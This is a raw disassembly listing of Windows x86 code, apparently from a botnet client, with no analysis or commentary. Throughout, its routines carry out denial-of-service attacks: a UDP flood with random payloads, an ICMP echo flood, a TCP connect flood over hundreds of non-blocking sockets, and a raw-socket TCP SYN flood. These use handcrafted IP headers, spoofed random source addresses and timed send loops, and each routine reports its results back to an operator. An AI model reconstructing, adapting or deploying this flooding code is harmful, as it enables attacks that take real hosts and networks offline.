		call	dword_4C97DC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411966
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436F00
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_411949
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_411949:				; CODE XREF: sub_411854+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_411966:				; CODE XREF: sub_411854+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4119CD
		lea	eax, [ebp+var_3BC]
		push	offset unk_436EE0
		push	eax
		call	sub_417D96
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4119B0
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_4119B0:				; CODE XREF: sub_411854+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_4119CD:				; CODE XREF: sub_411854+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_4C97FC	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4C9838	; inet_addr
		mov	esi, dword_4230A8
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_411A0B:				; CODE XREF: sub_411854+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_411BB6
		push	41Ch
		mov	byte_4CC570, 45h
		call	dword_4C97FC	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4CC572, ax
		mov	word_4CC574, bx
		mov	word_4CC576, di
		mov	byte_4CC578, 80h
		mov	byte_4CC579, bl
		mov	word_4CC57A, di
		jz	short loc_411A91
		call	sub_417DF2
		mov	ebx, eax
		shl	ebx, 8
		call	sub_417DF2
		add	ebx, eax
		shl	ebx, 8
		call	sub_417DF2
		add	ebx, eax
		shl	ebx, 8
		call	sub_417DF2
		add	ebx, eax
		push	1
		mov	dword_4CC57C, ebx
		pop	ebx
		jmp	short loc_411AA9
; ---------------------------------------------------------------------------


loc_411A91:				; CODE XREF: sub_411854+20Bj
		push	[ebp+var_1BC]
		call	sub_409D1D
		pop	ecx
		push	eax
		call	dword_4C9838	; inet_addr
		mov	dword_4CC57C, eax


loc_411AA9:				; CODE XREF: sub_411854+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4CC580, eax
		call	sub_417DF2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CC584, dl
		call	sub_417DF2
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4CC585, dl
		call	sub_417DF2
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4CC586, di
		mov	word_4CC58A, bx
		inc	edx
		mov	word_4CC588, dx
		call	sub_417DF2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4CC58C
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4CC570
		push	[ebp+var_4]
		call	dword_4C985C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B41
		inc	[ebp+arg_0]
		jmp	loc_411A0B
; ---------------------------------------------------------------------------


loc_411B41:				; CODE XREF: sub_411854+2E3j
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436E98
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_411B99
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_411B99:				; CODE XREF: sub_411854+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_411BB6:				; CODE XREF: sub_411854+1C8j
		push	[ebp+var_4]
		call	dword_4C9890	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436E4C
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_411C1E
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_411C1E:				; CODE XREF: sub_411854+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
sub_411854	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C3B	proc near		; DATA XREF: sub_401AC7+4C3Bo

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_4C978C	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4C9838	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411C96
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4C987C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_411C9C


loc_411C96:				; CODE XREF: sub_411C3B+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_411CF9


loc_411C9C:				; CODE XREF: sub_411C3B+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_436F88
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_411CDC
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408C5D
		add	esp, 14h


loc_411CDC:				; CODE XREF: sub_411C3B+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_413B5E
		push	[ebp+var_30]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_411CF9:				; CODE XREF: sub_411C3B+5Fj
		cmp	eax, ebx
		jz	short loc_411D09
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_411D0C
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_411C3B+C0j
		mov	[ebp+var_4], esi


loc_411D0C:				; CODE XREF: sub_411C3B+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417AA0
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_411D2C
		mov	[ebp+var_3C], eax


loc_411D2C:				; CODE XREF: sub_411C3B+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_411D34
		mov	[ebp+var_38], edi


loc_411D34:				; CODE XREF: sub_411C3B+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_411D61


loc_411D3B:				; CODE XREF: sub_411C3B+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4C9724	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_411D3B


loc_411D61:				; CODE XREF: sub_411C3B+FEj
		push	[ebp+arg_0]
		call	dword_4C98B0	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_436F5C
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_411DAA
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_408C5D
		add	esp, 14h


loc_411DAA:				; CODE XREF: sub_411C3B+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_413B5E
		push	[ebp+var_30]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
sub_411C3B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC7	proc near		; DATA XREF: sub_401AC7+4E84o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4C9878	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_411EAC
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4C987C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_411EA5
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_436FDC
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_411E88
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408C5D
		add	esp, 14h


loc_411E88:				; CODE XREF: sub_411DC7+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_413B5E
		push	[ebp+var_20]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_411EA5:				; CODE XREF: sub_411DC7+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_411EAF
; ---------------------------------------------------------------------------


loc_411EAC:				; CODE XREF: sub_411DC7+6Ej
		lea	eax, [ebp+arg_0]


loc_411EAF:				; CODE XREF: sub_411DC7+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_411ECA
		call	sub_417DF2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_411ECD
; ---------------------------------------------------------------------------


loc_411ECA:				; CODE XREF: sub_411DC7+F0j
		push	[ebp+var_24]


loc_411ECD:				; CODE XREF: sub_411DC7+101j
		call	dword_4C97FC	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_411EDF
		mov	[ebp+var_24], esi


loc_411EDF:				; CODE XREF: sub_411DC7+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_411EEC
		mov	[ebp+var_24], eax


loc_411EEC:				; CODE XREF: sub_411DC7+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_411F00
		mov	[ebp+var_28], esi


loc_411F00:				; CODE XREF: sub_411DC7+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_411F21


loc_411F07:				; CODE XREF: sub_411DC7+158j
		call	sub_417DF2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_411F07


loc_411F21:				; CODE XREF: sub_411DC7+13Ej
					; sub_411DC7+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_411F80
		push	0Bh
		pop	esi


loc_411F2E:				; CODE XREF: sub_411DC7+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4C985C	; sendto
		push	[ebp+var_28]
		call	dword_423078	; Sleep
		dec	esi
		jnz	short loc_411F2E
		cmp	[ebp+var_24], edi
		jnz	short loc_411F21
		call	sub_417DF2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4C97FC	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_411F21
; ---------------------------------------------------------------------------


loc_411F80:				; CODE XREF: sub_411DC7+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_436FB0
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_411FC0
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_408C5D
		add	esp, 14h


loc_411FC0:				; CODE XREF: sub_411DC7+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_413B5E
		push	[ebp+var_20]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
sub_411DC7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FDD	proc near		; DATA XREF: sub_401AC7+4512o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_41213B
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_437004
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_41205A
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_41205A:				; CODE XREF: sub_411FDD+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_411FDD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412079	proc near		; CODE XREF: sub_41213B+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4C97FC	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_412137
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_4120C4:				; CODE XREF: sub_412079+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4120CC:				; CODE XREF: sub_412079+7Aj
		push	0
		push	1
		push	2
		call	dword_423204	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4120EF
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4231DC	; ioctlsocket


loc_4120EF:				; CODE XREF: sub_412079+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4120CC
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4120FD:				; CODE XREF: sub_412079+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4231F8	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_4120FD
		push	64h
		call	dword_423078	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_412121:				; CODE XREF: sub_412079+B4j
		push	dword ptr [esi]
		call	dword_423200	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_412121
		dec	[ebp+arg_4]
		jnz	short loc_4120C4
		pop	edi
		pop	esi
		pop	ebx


loc_412137:				; CODE XREF: sub_412079+3Ej
		xor	eax, eax
		leave
		retn
sub_412079	endp


; =============== S U B	R O U T	I N E =======================================



sub_41213B	proc near		; CODE XREF: sub_411FDD+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409C07
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_417C89
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_417C89
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_412079
		add	esp, 18h
		test	eax, eax
		jnz	short loc_412171
		push	1
		pop	eax


loc_412171:				; CODE XREF: sub_41213B+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_41213B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412180	proc near		; DATA XREF: sub_401AC7+5B72o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4124CE
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437030
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4121FD
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_4121FD:				; CODE XREF: sub_412180+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_412180	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41221C	proc near		; CODE XREF: sub_4124CE+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C9778	; WSAStartup
		test	eax, eax
		jz	short loc_41225C
		xor	eax, eax
		jmp	loc_4124CA
; ---------------------------------------------------------------------------


loc_41225C:				; CODE XREF: sub_41221C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C989C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_4124C2
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4C97DC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4124B8
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4C97FC	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4C97FC	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4C97FC	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4C97FC	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_423130	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_419780
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_412347:				; CODE XREF: sub_41221C+25Dj
					; sub_41221C+26Bj
		mov	[ebp+var_24], bx
		call	sub_417DF2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C97FC	; htons
		mov	[ebp+var_34], ax
		call	sub_417DF2
		mov	edi, eax
		shl	edi, 10h
		call	sub_417DF2
		or	edi, eax
		push	edi
		call	dword_4C97FC	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C97F8	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C97FC	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_409D76
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_409D76
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4C985C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41248C
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_4124B5
		jl	loc_412347
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_4124B5
		jmp	loc_412347
; ---------------------------------------------------------------------------


loc_41248C:				; CODE XREF: sub_41221C+247j
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_437058
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_413B5E
		add	esp, 10h
		jmp	short loc_4124B8
; ---------------------------------------------------------------------------


loc_4124B5:				; CODE XREF: sub_41221C+25Bj
					; sub_41221C+269j
		mov	ebx, [ebp+arg_8]


loc_4124B8:				; CODE XREF: sub_41221C+78j
					; sub_41221C+297j
		push	[ebp+var_C]
		call	dword_4C9890	; closesocket
		pop	esi


loc_4124C2:				; CODE XREF: sub_41221C+5Bj
		call	dword_4C9760	; WSACleanup
		mov	eax, ebx


loc_4124CA:				; CODE XREF: sub_41221C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
